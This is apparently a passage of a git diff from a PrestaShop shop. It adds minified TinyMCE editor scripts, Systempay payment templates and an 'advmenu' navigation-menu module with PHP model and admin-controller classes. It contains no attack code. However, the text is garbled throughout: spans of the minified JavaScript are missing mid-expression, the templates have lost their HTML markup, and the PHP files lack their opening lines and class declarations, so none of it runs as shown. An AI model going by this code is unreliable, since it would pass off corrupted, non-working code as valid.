am,ap,aq,ao,an;am=ap=ar?Y:al;an=ar?"previousSibling":"nextSibling";root=c.getRoot();if(am.nodeType==3&&!f(am)){if(ar?ad>0:afah?ah:ad];if(Y.nodeType==3){ad=0}}if(al.nodeType==1&&al.hasChildNodes()){ah=al.childNodes.length-1;al=al.childNodes[af>ah?ah:af-1];if(al.nodeType==3){af=al.nodeValue.length}}if(H(Y.parentNode)||H(Y)){Y=H(Y)?Y:Y.parentNode;Y=Y.nextSibling||Y;if(Y.nodeType==3){ad=0}}if(H(al.parentNode)||H(al)){al=H(al)?al:al.parentNode;al=al.previousSibling||al;if(al.nodeType==3){af=al.length}}if(ai[0].inline){if(W.collapsed){function ae(an,ar,au){var aq,ao,at,am;function ap(aw,ay){var az,av,ax=aw.nodeValue;if(typeof(ay)=="undefined"){ay=au?ax.length:0}if(au){az=ax.lastIndexOf(" ",ay);av=ax.lastIndexOf("\u00a0",ay);az=az>av?az:av;if(az!==-1&&!Z){az++}}else{az=ax.indexOf(" ",ay);av=ax.indexOf("\u00a0",ay);az=az!==-1&&(av===-1||az0&&ac.node.nodeType===3&&ac.node.nodeValue.charAt(ac.offset-1)===" "){if(ac.offset>1){al=ac.node;al.splitText(ac.offset-1)}else{if(ac.node.previousSibling){}}}}}if(ai[0].inline||ai[0].block_expand){if(!ai[0].inline||(Y.nodeType!=3||ad===0)){Y=aj(true)}if(!ai[0].inline||(al.nodeType!=3||af===al.nodeValue.length)){al=aj()}}if(ai[0].selector&&ai[0].expand!==S&&!ai[0].inline){function aa(an,am){var ao,ap,ar,aq;if(an.nodeType==3&&an.nodeValue.length==0&&an[am]){an=an[am]}ao=m(an);for(ap=0;apY?Y:aa]}if(W.nodeType===3&&ab&&aa>=W.nodeValue.length){W=new t(W,V.getBody()).next()||W}if(W.nodeType===3&&!ab&&aa==0){W=new t(W,V.getBody()).prev()||W}return W}function Q(af,W,ad){var ai,ag="_mce_caret",X=V.settings.caret_debug;ai=a.isGecko?"\u200B":E;function Y(ak){var aj=c.create("span",{id:ag,"data-mce-bogus":true,style:X?"color:red":""});if(ak){aj.appendChild(V.getDoc().createTextNode(ai))}return aj}function ae(ak,aj){while(ak){if((ak.nodeType===3&&ak.nodeValue!==ai)||ak.childNodes.length>1){return false}if(aj&&ak.nodeType===1){aj.push(ak)}ak=ak.firstChild}return true}function ab(aj){while(aj){if(aj.id===ag){return aj}aj=aj.parentNode}}function aa(aj){var ak;if(aj){ak=new t(aj,aj);for(aj=ak.current();aj;aj=ak.next()){if(aj.nodeType===3){return aj}}}}function Z(al,ak){var am,aj;if(!al){al=ab(q.getStart());if(!al){while(al=c.get(ag)){Z(al,false)}}}else{aj=q.getRng(true);if(ae(al)){if(ak!==false){aj.setStartBefore(al);aj.setEndBefore(al)}c.remove(al)}else{am=aa(al);if(am.nodeValue.charAt(0)===E){am=am.deleteData(0,1)}c.remove(al,1)}q.setRng(aj)}}function ac(){var al,aj,ap,ao,am,ak,an;al=q.getRng(true);ao=al.startOffset;ak=al.startContainer;an=ak.nodeValue;aj=ab(q.getStart());if(aj){ap=aa(aj)}if(an&&ao>0&&ao=0;an--){al.appendChild(ar[an].cloneNode(false));al=al.firstChild}al.appendChild(c.doc.createTextNode(ai));al=al.firstChild;c.insertAfter(aq,at);q.setCursorLocation(al,1)}}if(!self._hasCaretEvents){V.onBeforeGetContent.addToTop(function(){var aj=[],ak;if(ae(ab(q.getStart()),aj)){ak=aj.length;while(ak--){c.setAttrib(aj[ak],"data-mce-bogus","1")}}});a.each("onMouseUp onKeyUp".split(" "),function(aj){V[aj].addToTop(function(){Z()})});V.onKeyDown.addToTop(function(aj,al){var ak=al.keyCode;if(ak==8||ak==37||ak==39){Z(ab(q.getStart()))}});self._hasCaretEvents=true}if(af=="apply"){ac()}else{ah()}}function N(X){var W=X.startContainer,ac=X.startOffset,ab,aa,Y,Z;if(W.nodeType==3&&ac>=W.nodeValue.length-1){W=W.parentNode;ac=s(W)+1}if(W.nodeType==1){Y=W.childNodes;W=Y[Math.min(ac,Y.length-1)];ab=new t(W);if(ac>Y.length-1){ab.next()}for(aa=ab.current();aa;aa=ab.next()){if(aa.nodeType==3&&!f(aa)){Z=c.create("a",null,E);aa.parentNode.insertBefore(Z,aa);X.setStart(aa,0);q.setRng(X);c.remove(Z);return}}}}}})(tinymce);tinymce.onAddEditor.add(function(e,a){var d,h,g,c=a.settings;if(c.inline_styles){h=e.explode(c.font_size_legacy_values);function b(j,i){e.each(i,function(l,k){if(l){g.setStyle(j,k,l)}});g.rename(j,"span")}d={font:function(j,i){b(i,{backgroundColor:i.style.backgroundColor,color:i.color,fontFamily:i.face,fontSize:h[parseInt(i.size)-1]})},u:function(j,i){b(i,{textDecoration:"underline"})},strike:function(j,i){b(i,{textDecoration:"line-through"})}};function f(i,j){g=i.dom;if(c.convert_fonts_to_spans){e.each(g.select("font,u,strike",j.node),function(k){d[k.nodeName.toLowerCase()](a.dom,k)})}}a.onPreProcess.add(f);a.onSetContent.add(f);a.onInit.add(function(){a.selection.onSetContent.add(f)})}}); \ No newline at end of file diff --git a/js/tiny_mce2/tiny_mce_popup.js b/js/tiny_mce2/tiny_mce_popup.js new file mode 100755 index 0000000..f859d24 --- /dev/null +++ b/js/tiny_mce2/tiny_mce_popup.js @@ -0,0 +1,5 @@ + +// Uncomment and change this document.domain value if you are loading the script cross subdomains +// document.domain = 'moxiecode.com'; + +var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var b=this,a,c;a=b.getWin();tinymce=a.tinymce;tinyMCE=a.tinyMCE;b.editor=tinymce.EditorManager.activeEditor;b.params=b.editor.windowManager.params;b.features=b.editor.windowManager.features;b.dom=b.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document);if(b.features.popup_css!==false){b.dom.loadCSS(b.features.popup_css||b.editor.settings.popup_css)}b.listeners=[];b.onInit={add:function(e,d){b.listeners.push({func:e,scope:d})}};b.isWindow=!b.getWindowArg("mce_inline");b.id=b.getWindowArg("mce_window_id");b.editor.windowManager.onOpen.dispatch(b.editor.windowManager,window)},getWin:function(){return(!window.frameElement&&window.dialogArguments)||opener||parent||top},getWindowArg:function(c,b){var a=this.params[c];return tinymce.is(a)?a:b},getParam:function(b,a){return this.editor.getParam(b,a)},getLang:function(b,a){return this.editor.getLang(b,a)},execCommand:function(d,c,e,b){b=b||{};b.skip_focus=1;this.restoreSelection();return this.editor.execCommand(d,c,e,b)},resizeToInnerSize:function(){var a=this;setTimeout(function(){var b=a.dom.getViewPort(window);a.editor.windowManager.resizeBy(a.getWindowArg("mce_width")-b.w,a.getWindowArg("mce_height")-b.h,a.id||window)},10)},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark(1)},restoreSelection:function(){var a=tinyMCEPopup;if(!a.isWindow&&tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},requireLangPack:function(){var b=this,a=b.getWindowArg("plugin_url")||b.getWindowArg("theme_url");if(a&&b.editor.settings.language&&b.features.translate_i18n!==false&&b.editor.settings.language_load!==false){a+="/langs/"+b.editor.settings.language+"_dlg.js";if(!tinymce.ScriptLoader.isDone(a)){document.write(' +{/if} diff --git a/modules/_systempay/views/templates/hook/payment.tpl b/modules/_systempay/views/templates/hook/payment.tpl new file mode 100755 index 0000000..2134614 --- /dev/null +++ b/modules/_systempay/views/templates/hook/payment.tpl @@ -0,0 +1,6 @@ +

    + + {l s='Systempay' mod='systempay'} + {l s='Pay by bank card' mod='systempay'} + +

    diff --git a/modules/_systempay/views/templates/hook/payment_return.tpl b/modules/_systempay/views/templates/hook/payment_return.tpl new file mode 100755 index 0000000..e792dbc --- /dev/null +++ b/modules/_systempay/views/templates/hook/payment_return.tpl @@ -0,0 +1,34 @@ +{if $check_url_warn == true} +

    + {l s='The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) hasn\'t worked. Have you correctly set up the server URL in your store backoffice?' mod='systempay'} +
    + {l s='For understanding the problem, please read the documentation of the module :
       - Chapter «To read carefully before going further»
       - Chapter «Server URL settings»' mod='systempay'} +
    + {l s='If you think this is an error, you can contact our' mod='systempay'} + {l s='customer support' mod='systempay'}. +

    + +

    +{/if} + +{if $prod_info == true} +

    + {l s='GOING INTO PRODUCTION
    You want to know how to put your shop into production mode, please go to this URL : ' mod='systempay'}https://paiement.systempay.fr/html/faq/prod +

    + +

    +{/if} + +{if $error_msg == true} +

    + {l s='Your order has been registered with a payment error.' mod='systempay'} + + {l s='Please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

    +{else} +

    {l s='Your order on' mod='systempay'} {$shop_name} {l s='is complete.' mod='systempay'} +

    + {l s='We registered your payment of ' mod='systempay'} {$total_to_pay} +

    {l s='For any questions or for further information, please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

    +{/if} \ No newline at end of file diff --git a/modules/_systempay/views/templates/hook/unknown_currency.tpl b/modules/_systempay/views/templates/hook/unknown_currency.tpl new file mode 100755 index 0000000..9e1922e --- /dev/null +++ b/modules/_systempay/views/templates/hook/unknown_currency.tpl @@ -0,0 +1,4 @@ +

    + {l s='Payment method unavailable for the currency : ' mod='systempay'} {$systempay_unknown_currency->sign}({$systempay_unknown_currency->name}) + {l s='Payment method unavailable for the currency : ' mod='systempay'} {$systempay_unknown_currency->sign}({$systempay_unknown_currency->name}) +

    \ No newline at end of file diff --git a/modules/advmenu/advmenu.php b/modules/advmenu/advmenu.php new file mode 100644 index 0000000..dd3098a --- /dev/null +++ b/modules/advmenu/advmenu.php @@ -0,0 +1,138 @@ +name = 'advmenu'; + $this->tab = 'front_office_features'; + $this->version = '1.0'; + $this->author = 'Antadis'; + $this->need_instance = 0; + + $this->bootstrap = true; + parent::__construct(); + + $this->displayName = $this->l('Menu avancée'); + $this->description = $this->l('Gestion des blocs de liens du menu du site'); + } + + public function install() + { + $sql = array(); + + +// $sql[] = +// 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'advmenu` ( +// `id_link` int(10) unsigned NOT NULL auto_increment, +// `id_parent` varchar(255) NOT NULL, +// `classbloc` varchar(255), +// `position` INT(11) UNSIGNED NOT NULL default 0, +// `external` INT(11) UNSIGNED NULL default 0, +// PRIMARY KEY (`id_link`) +// ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; +// +// $sql[] = +// 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'advmenu_shop` ( +// `id_link` int(10) unsigned NOT NULL auto_increment, +// `id_shop` int(10) unsigned NOT NULL, +// PRIMARY KEY (`id_link`, `id_shop`) +// ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; +// +// $sql[] = +// 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'advmenu_lang` ( +// `id_link` int(10) unsigned NOT NULL, +// `id_lang` int(10) unsigned NOT NULL, +// `title` varchar(255) NOT NULL, +// `url` varchar(255), +// `text` text, +// PRIMARY KEY (`id_link`,`id_lang`) +// ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; + +// $sql[] = " +// INSERT INTO `ps_advmenu` (`id_link`, `id_parent`, `classbloc`, `position`) VALUES (1, '0', '', 0), (2, '0', '', 0), (3, '0', '', 0), (4, '0', '', 0), (5, '0', '', 0), (6, '0', '', 0), (7, '0', '', 0), (8, '0', '', 0), (9, '0', '', 0), (10, '1', 'menu-subtitle', 0), (11, '1', 'menu-subtitle', 0), (12, '1', 'menu-subtitle', 0), (13, '10', '', 0), (14, '0', NULL, 0), (15, '10', NULL, 0), (16, '10', NULL, 0), (17, '10', NULL, 0), (18, '10', NULL, 0), (19, '10', NULL, 0), (20, '10', NULL, 0), (21, '10', NULL, 0), (22, '10', NULL, 0), (23, '10', NULL, 0), (24, '11', NULL, 0), (25, '11', NULL, 0), (26, '11', NULL, 0), (27, '11', NULL, 0), (28, '11', NULL, 0), (29, '11', NULL, 0), (30, '11', NULL, 0), (31, '11', NULL, 0), (32, '11', NULL, 0), (33, '11', NULL, 0), (34, '12', NULL, 0), (35, '12', NULL, 0), (36, '12', NULL, 0), (37, '12', NULL, 0), (38, '12', NULL, 0), (39, '12', NULL, 0), (40, '12', NULL, 0), (41, '12', NULL, 0), (42, '12', NULL, 0), (43, '12', NULL, 0), (44, '1', 'menu-subtitle', 0), (45, '44', NULL, 0), (46, '44', NULL, 0), (47, '44', NULL, 0), (48, '44', NULL, 0), (49, '44', NULL, 0), (50, '44', NULL, 0), (51, '44', NULL, 0), (52, '44', NULL, 0), (53, '44', NULL, 0), (54, '44', NULL, 0); +// "; +// +// // DONNEES DE TEST +// +// $sql[] = " +// INSERT INTO `ps_advmenu_lang` (`id_link`, `id_lang`, `title`, `url`, `text`) VALUES (1, 1, 'Lien 1', '#', ''), (2, 1, 'Lien 2', '#', ''), (3, 1, 'Lien 3', '#', ''), (4, 1, 'Lien 4', '#', ''), (5, 1, 'Lien 5', '#', ''), (6, 1, 'Lien 6', '#', ''), (7, 1, 'Lien 7', '#', ''), (8, 1, 'Lien 8', '#', ''), (9, 1, 'Lien 9', '#', ''), (10, 1, 'Sous categorie 1', '#', ''), (11, 1, 'Sous categorie 2', '#', ''), (12, 1, 'Sous categorie 3', '#', ''), (13, 1, 'Sous lien 1', '#', ''), (14, 1, 'Lien 10', '#', ''), (15, 1, 'Sous lien 2', '#', ''), (16, 1, 'Sous lien 3', '#', ''), (17, 1, 'Sous lien 4', '#', ''), (18, 1, 'Sous lien 5', '#', ''), (19, 1, 'Sous lien 6', '#', ''), (20, 1, 'Sous lien 7', '#', ''), (21, 1, 'Sous lien 8', '#', ''), (22, 1, 'Sous lien 9', '#', ''), (23, 1, 'Sous lien 10', '#', ''), (24, 1, 'Sous lien 1', '#', ''), (25, 1, 'Sous lien 2', '#', ''), (26, 1, 'Sous lien 3', '#', ''), (27, 1, 'Sous lien 4', '#', ''), (28, 1, 'Sous lien 5', '#', ''), (29, 1, 'Sous lien 6', '#', ''), (30, 1, 'Sous lien 7', '#', ''), (31, 1, 'Sous lien 8', '#', ''), (32, 1, 'Sous lien 9', '#', ''), (33, 1, 'Sous lien 10', '#', ''), (34, 1, 'Sous lien 1', '#', ''), (35, 1, 'Sous lien 2', '#', ''), (36, 1, 'Sous lien 3', '#', ''), (37, 1, 'Sous lien 4', '#', ''), (38, 1, 'Sous lien 5', '#', ''), (39, 1, 'Sous lien 6', '#', ''), (40, 1, 'Sous lien 7', '#', ''), (41, 1, 'Sous lien 8', '#', ''), (42, 1, 'Sous lien 9', '#', ''), (43, 1, 'Sous lien 10', '#', ''), (44, 1, 'Sous categorie 4', '#', ''), (45, 1, 'Sous lien 1', '#', ''), (46, 1, 'Sous lien 2', '#', ''), (47, 1, 'Sous lien 3', '#', ''), (48, 1, 'Sous lien 4', '#', ''), (49, 1, 'Sous lien 5', '#', ''), (50, 1, 'Sous lien 6', '#', ''), (51, 1, 'Sous lien 7', '#', ''), (52, 1, 'Sous lien 8', '#', ''), (53, 1, 'Sous lien 9', '#', ''), (54, 1, 'Sous lien 10', '#', ''); +// "; +// +// // FIN DONNEES DE TEST + +// foreach ($sql as $_sql) { +// Db::getInstance()->Execute($_sql); +// } + + $new_tab = new Tab(); + $new_tab->class_name = 'AdminAdvMenu'; + $new_tab->id_parent = Tab::getCurrentParentId(); + $new_tab->module = $this->name; + $languages = Language::getLanguages(); + foreach ($languages as $language) { + $new_tab->name[$language['id_lang']] = 'Menu du site'; + } + + $new_tab->add(); + + return parent::install(); + } + + public function uninstall() + { + $sql = 'DROP TABLE IF EXISTS + `' . _DB_PREFIX_ . 'advmenu_lang`, + `' . _DB_PREFIX_ . 'advmenu_shop`, + `' . _DB_PREFIX_ . 'advmenu` + '; + + Db::getInstance()->Execute($sql); + + $idTab = Tab::getIdFromClassName('AdminAdvMenu'); + if ($idTab) { + $tab = new Tab($idTab); + $tab->delete(); + } + + return parent::uninstall(); +} + + public function hookDisplayMenu($params) + { + + if (!$this->isCached('advmenu.tpl', $this->getCacheId())) { + $menuLinks = AdvMenuLink::getMenu(); + if (!$menuLinks) { + return false; + } + $this->smarty->assign('menuLinks', $menuLinks); + } + return $this->display(__FILE__, 'advmenu.tpl', $this->getCacheId()); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'menuStyle.css'); + $this->context->controller->addCSS($this->_path.'strapivarious.css'); + $this->context->controller->addJS($this->_path.'menuJs.js'); + } + + public function hookDisplayMobileHeader($params) + { + $this->context->controller->addCSS($this->_path.'menuStyle.css'); + $this->context->controller->addCSS($this->_path.'strapivarious.css'); + $this->context->controller->addJS($this->_path.'menuJs.js'); + } + + public function hookActionSaveMenu() + { + $this->_clearCache('advmenu.tpl'); + } + +} \ No newline at end of file diff --git a/modules/advmenu/classes/AdvMenuLink.php b/modules/advmenu/classes/AdvMenuLink.php new file mode 100644 index 0000000..3545c15 --- /dev/null +++ b/modules/advmenu/classes/AdvMenuLink.php @@ -0,0 +1,197 @@ + 'advmenu', + 'primary' => 'id_link', + 'multilang' => TRUE, + 'fields' => array( + 'id_link' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_parent' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'external' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'classbloc' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + + // Lang fields + 'url' => array('type' => self::TYPE_STRING, 'lang' => TRUE, 'validate' => 'isUrl', 'required' => FALSE, 'size' => 255), + 'title' => array('type' => self::TYPE_STRING, 'lang' => TRUE, 'validate' => 'isGenericName', 'required' => TRUE, 'size' => 255), + 'text' => array('type' => self::TYPE_HTML, 'lang' => TRUE, 'validate' => 'isCleanHtml') + ) + ); + + public function __construct($id = NULL, $id_lang = NULL, $id_shop = NULL) { + parent::__construct($id, $id_lang, $id_shop); + } + + public function add($null_values = false, $autodate = true) + { + $result = parent::add($null_values, $autodate); + //Add and remove shop association + if($result && Shop::isFeatureActive()) { + //Delete record if shop has been removed from the list + $result &= Db::getInstance()->delete($this->def['table'].'_shop', '`'.$this->def['primary'].'` ='.(int)$this->id.' AND id_shop NOT IN ('.implode(', ', $this->id_shop_list).')'); + + // Insert new record if shop has been added in the list + $insert=''; + foreach ($this->id_shop_list as $id_shop) { + if($insert != '') + $insert .= ', '; + $insert .= '('.(int)$this->id.' , '.$id_shop.') '; + } + $result &= Db::getInstance()->execute(' + INSERT IGNORE INTO `'._DB_PREFIX_.$this->def['table'].'_shop` (`'.$this->def['primary'].'`, `id_shop`) + VALUES '.$insert + ); + } + + Hook::exec('actionSaveMenu'); + + return $result; + } + + public function update($null_values = FALSE) { + $result = parent::update($null_values); + //Add and remove shop association + if($result && Shop::isFeatureActive()) { + //Delete record if shop has been removed from the list + $result &= Db::getInstance()->delete($this->def['table'].'_shop', '`'.$this->def['primary'].'` ='.(int)$this->id.' AND id_shop NOT IN ('.implode(', ', $this->id_shop_list).')'); + + // Insert new record if shop has been added in the list + $insert=''; + foreach ($this->id_shop_list as $id_shop) { + if($insert != '') + $insert .= ', '; + $insert .= '('.(int)$this->id.' , '.$id_shop.') '; + } + $result &= Db::getInstance()->execute(' + INSERT IGNORE INTO `'._DB_PREFIX_.$this->def['table'].'_shop` (`'.$this->def['primary'].'`, `id_shop`) + VALUES '.$insert + ); + } + + Hook::exec('actionSaveMenu'); + + return $result; + } + + public static function getMenu() + { + $context = Context::getContext(); + + $menuLinks = self::getLinks(0, $context); + + foreach($menuLinks as $i => $link) + { + $menuLinks[$i]['children'] = self::getLinks($link['id_link'], $context); + $menuLinks[$i]['nbChildren'] = count($menuLinks[$i]['children']); + $menuLinks[$i]['ctaImgExist'] = $menuLinks[$i]['nbChildren'] < 3 && file_exists(_PS_IMG_DIR_ . 'menu/' . $link['id_link'] . '.jpg'); + if(file_exists(_PS_IMG_DIR_ . 'menu/' . $link['id_link'] . '.jpg')){ + $menuLinks[$i]['image'] = '/img/menu/' . $link['id_link'] . '.jpg'; + } + elseif(file_exists(_PS_IMG_DIR_ . 'menu/' . $link['id_link'] . '.png')){ + $menuLinks[$i]['image'] = '/img/menu/' . $link['id_link'] . '.png'; + } + elseif(file_exists(_PS_IMG_DIR_ . 'menu/' . $link['id_link'] . '.jpeg')){ + $menuLinks[$i]['image'] = '/img/menu/' . $link['id_link'] . '.jpeg'; + } + elseif(file_exists(_PS_IMG_DIR_ . 'menu/' . $link['id_link'] . '.gif')){ + $menuLinks[$i]['image'] = '/img/menu/' . $link['id_link'] . '.gif'; + } + foreach($menuLinks[$i]['children'] as $y => $children) + { + $menuLinks[$i]['children'][$y]['children'] = self::getLinks($children['id_link'], $context); + } + } + + return $menuLinks; + } + + public static function getLinks($id_parent, $context) + { + $links = Db::getInstance()->executeS(' + SELECT adv.`id_link`, `title`, `url`, `classbloc`, `text`, `external` + FROM `'._DB_PREFIX_.'advmenu` adv + JOIN `'._DB_PREFIX_.'advmenu_lang` advl ON adv.`id_link` = advl.`id_link` AND id_lang = '. (int)$context->cookie->id_lang . ' + WHERE `id_parent` = ' . (int)$id_parent . ' + ORDER BY `position` ASC + '); + + return $links; + } + + public function cleanPositions(){ + return Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'advmenu` + SET `position`= `position` - 1 + WHERE `id_link` = '.(int)$this->id_link.' + AND `position` > '.(int)$this->position); + } + + public function updatePosition($way, $position) + { + $sql = 'SELECT `position`, `id_link` + FROM `'._DB_PREFIX_.'advmenu` + WHERE `id_parent` = '.(int)$this->id_parent.' + ORDER BY `position` ASC'; + if (!$res = Db::getInstance()->executeS($sql)) + return false; + + foreach ($res as $row) + if ((int)$row['id_link'] == (int)$this->id_link) + $moved_row = $row; + + if (!isset($moved_row) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'advmenu` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `id_parent` = '.(int)$this->id_parent.' + AND `position` + '.($way + ? '> '.(int)$moved_row['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_row['position'].' AND `position` >= '.(int)$position) + ) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'advmenu` + SET `position` = '.(int)$position.' + WHERE `id_link`='.(int)$moved_row['id_link'] + ); + $this->refreshPositions(); + + Hook::exec('actionSaveMenu'); + + return $res; + } + + public function refreshPositions(){ + $sql = 'SELECT `id_link` + FROM `'._DB_PREFIX_.'advmenu` + WHERE `id_parent` = '.(int)$this->id_parent.' + ORDER BY `position` ASC'; + if (!$blocks = Db::getInstance()->executeS($sql)) + return false; + + $pos=0; + foreach ($blocks as $block) { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'advmenu` + SET `position` = '.(int)$pos.' + WHERE `id_link`='.(int)$block['id_link']); + $pos++; + } + } + +} \ No newline at end of file diff --git a/modules/advmenu/controllers/admin/AdminAdvMenu.php b/modules/advmenu/controllers/admin/AdminAdvMenu.php new file mode 100644 index 0000000..c535433 --- /dev/null +++ b/modules/advmenu/controllers/admin/AdminAdvMenu.php @@ -0,0 +1,280 @@ +table = 'advmenu'; + $this->className = 'AdvMenuLink'; + $this->identifier = 'id_link'; + $this->lang = TRUE; + $this->deleted = FALSE; + $this->bootstrap = TRUE; + $this->fieldImageSettings = array( + 'name' => 'image', + 'dir' => 'menu' + ); + $this->position_identifier = 'id_link'; + $this->_defaultOrderBy = 'position'; + + parent::__construct(); + + $this->actions = array('view', 'edit', 'delete'); + + $this->fields_list = array( + 'id_link' => array( + 'title' => 'ID', + 'width' => 25 + ), + 'title' => array( + 'title' => $this->module->l('Titre'), + 'width' => 45, + ), + 'url' => array( + 'title' => $this->module->l('Url'), + 'width' => 45, + ), + 'position' => array( + 'title' => $this->l('Position'), + 'align' => 'center', + 'position' => 'position', + 'filter_key' => 'a!position' + ) + ); + + if (Tools::getValue('id_link')) { + $this->_where = ' AND a.`id_parent` =' . (int)Tools::getValue('id_link'); + } else { + $this->_where = ' AND a.`id_parent` = 0'; + } + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL){ + $this->_join .= 'JOIN `'._DB_PREFIX_.'advmenu_shop` as ashop ON a.`id_link` = ashop.`id_link` AND ashop.`id_shop` IN ('.implode(', ', Shop::getContextListShopID()).') '; + $this->_group .= 'GROUP BY ashop.`id_link`'; + } + + } + + public function initToolbar() { + parent::initToolbar(); + + if ($this->display != 'edit' && $this->display != 'add') { + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&id_parent='.(int)Tools::getValue('id_link').'&addadvmenu&token='.$this->token, + 'desc' => $this->l('Ajouter un nouveau lien', NULL, NULL, FALSE), + 'icon' => 'process-icon-new' + + ); + $this->context->smarty->assign('toolbar_btn', $this->toolbar_btn); + } + } + + public function renderView() { + return $this->renderList(); + } + + public function renderForm() { + + + $this->fields_form = array( + 'tinymce' => TRUE, + 'legend' => array( + 'title' => $this->className, + ), + 'submit' => array( + 'name' => 'submitAdvMenu', + 'title' => $this->l('Save'), + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Nom'), + 'name' => 'title', + 'required' => TRUE, + 'lang' => TRUE, + 'size' => 114 + ), + array( + 'type' => 'text', + 'label' => $this->l('Lien'), + 'name' => 'url', + 'lang' => TRUE, + 'required' => FALSE, + 'size' => 114 + ), + array( + 'type' => 'hidden', + 'name' => 'id_parent', + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description'), + 'name' => 'text', + 'autoload_rte' => TRUE, + 'cols' => 100, + 'rows' => 6, + 'lang' => TRUE, + ), + array( + 'type' => 'select', + 'label' => $this->l('Type d\'affichage'), + 'name' => 'classbloc', + 'required' => FALSE, + 'options' => array( + 'query' => array( + array('id' => '', 'name' => 'Aucune'), + array('id' => 'arrow', 'name' => 'Flèche'), + array('id' => 'menu-subtitle', 'name' => 'Titre'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'shop', + 'label' => $this->l('Shop'), + 'form_group_class' => 'fieldhide input_association', + 'name' => 'checkBoxShopAsso_advmenu' + ) + ) + ); + + if (Tools::getValue('id_parent')) { + $this->fields_value = array( + 'id_parent' => (int)Tools::getValue('id_parent') + ); + } + else + { + $obj = $this->loadObject(TRUE); + + $image = FALSE; + $image_url = ''; + $image_size = ''; + + if($obj) + { + $image = _PS_IMG_DIR_ . 'menu/' . $obj->id.'.'.$this->imageType; + $image_url = ImageManager::thumbnail($image, $this->table.'_'.(int)$obj->id.'.'.$this->imageType, 350, $this->imageType, TRUE, TRUE); + $image_size = file_exists($image) ? filesize($image) / 1000 : FALSE; + } + + $this->fields_form['input'][] = array( + 'type' => 'file', + 'label' => $this->l('Image (495x230)'), + 'name' => 'image', + 'display_image' => TRUE, + 'lang' => TRUE, + 'image' => $image_url, + 'size' => $image_size, + 'delete_url' => self::$currentIndex.'&'.$this->identifier.'='.$this->object->id.'&token='.$this->token.'&deleteImage=1' + ); + + } + + return parent::renderForm(); + + } + + protected function copyFromPost(&$object, $table) { + parent::copyFromPost($object, $table); + + if(Shop::isFeatureActive()) + { + $object->id_shop_list = array(); + foreach (Tools::getValue('checkBoxShopAsso_advmenu') as $id_shop => $value) + $object->id_shop_list[] = $id_shop; + } + } + + public function postProcess() { + if (Tools::getValue('deleteImage')) { + $this->processForceDeleteImage(); + } + return parent::postProcess(); + } + + public function processForceDeleteImage() { + $link = $this->loadObject(TRUE); + + if (Validate::isLoadedObject($link)) + { + $ext = ""; + $id_link = Tools::getValue('id_link'); + + file_exists(_PS_IMG_DIR_.'menu/'.$id_link.'.jpg') ? $ext = "jpg" : false; + file_exists(_PS_IMG_DIR_.'menu/'.$id_link.'.jpeg') ? $ext = "jpeg" : false; + file_exists(_PS_IMG_DIR_.'menu/'.$id_link.'.png') ? $ext = "png" : false; + file_exists(_PS_IMG_DIR_.'menu/'.$id_link.'.gif') ? $ext = "gif" : false; + + if (file_exists(_PS_IMG_DIR_.'menu/'.$id_link.'.'.$ext) && !unlink(_PS_IMG_DIR_.'menu/'.$id_link.'.'.$ext)){ + return false; + } + + return true; + } + } + + protected function postImage($id) { + $ret = parent::postImage($id); + + if (isset($_FILES) && count($_FILES) && $_FILES['image']['name'] != NULL && !empty($this->object->id) ) + { + return TRUE; + } + return TRUE; + } + + public function ajaxProcessUpdatePositions() + { + $way = (int)(Tools::getValue('way')); + $id = (int)(Tools::getValue('id')); + $positions = Tools::getValue('link'); + $obj = 'advmenu'; + + if (is_array($positions)){ + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2]) && (int)$pos[2] === $id) + { + $menu_obj = new AdvMenuLink((int)$pos[2]); + + if (Validate::isLoadedObject($menu_obj)) + if (isset($position) && $menu_obj->updatePosition($way, $position)) + { + echo 'ok position '.(int)$position.' for '.$obj.' '.(int)$pos[2]."\r\n"; + } + else + echo '{"hasError" : true, "errors" : "Can not update '.$obj.' '.(int)$id.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This '.$obj.' ('.(int)$id.') cannot be loaded"}'; + + break; + } + } + } + } + + public function processAdd() + { + parent::processAdd(); + + $link = Link::getAdminLink('AdminAdvMenu').'&id_link='.Tools::getValue('id_parent').'&token='.Tools::getValue('token'); + + Tools::redirectAdmin($link); + + } + + public function processUpdate() + { + parent::processUpdate(); + + $link = Link::getAdminLink('AdminAdvMenu').'&id_link='.Tools::getValue('id_parent').'&token='.Tools::getValue('token'); + + 